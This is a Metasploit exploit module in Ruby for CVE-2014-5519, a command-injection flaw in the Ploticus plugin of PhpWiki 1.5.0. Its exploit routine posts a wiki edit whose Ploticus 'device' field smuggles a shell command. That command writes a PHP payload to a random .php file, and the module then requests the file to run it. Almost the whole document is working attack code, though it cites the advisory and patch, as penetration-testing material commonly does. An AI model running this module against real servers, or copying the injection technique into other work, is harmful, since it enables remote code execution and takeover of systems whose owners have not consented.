Phpwiki Ploticus Remote Code Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Phpwiki Ploticus Remote Code Execution',  
'Description' => %q{  
The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary  
code via command injection.  
},  
'Author' =>  
[  
'Benjamin Harris', # Discovery and POC  
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2014-5519' ],  
[ 'OSVDB', '110576' ],  
[ 'EDB', '34451'],  
[ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation  
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 11 2014'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) ,  
], self.class)  
end  
  
def exploit  
uri = target_uri.path  
  
payload_name = "#{rand_text_alpha(8)}.php"  
php_payload = get_write_exec_payload(:unlink_self=>true)  
  
res = send_request_cgi({  
'uri' => normalize_uri(uri + '/index.php/HeIp'),  
'method' => 'POST',  
'vars_post' =>  
{  
'pagename' => 'HeIp',  
'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>",  
'edit[preview]' => 'Preview',  
'action' => 'edit'  
}  
})  
  
if not res or res.code != 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")  
end  
  
upload_uri = normalize_uri(uri + "/" + payload_name)  
print_status("#{peer} - Executing payload #{payload_name}")  
send_request_raw({  
'uri' => upload_uri,  
'method' => 'GET'  
})  
end  
end  
`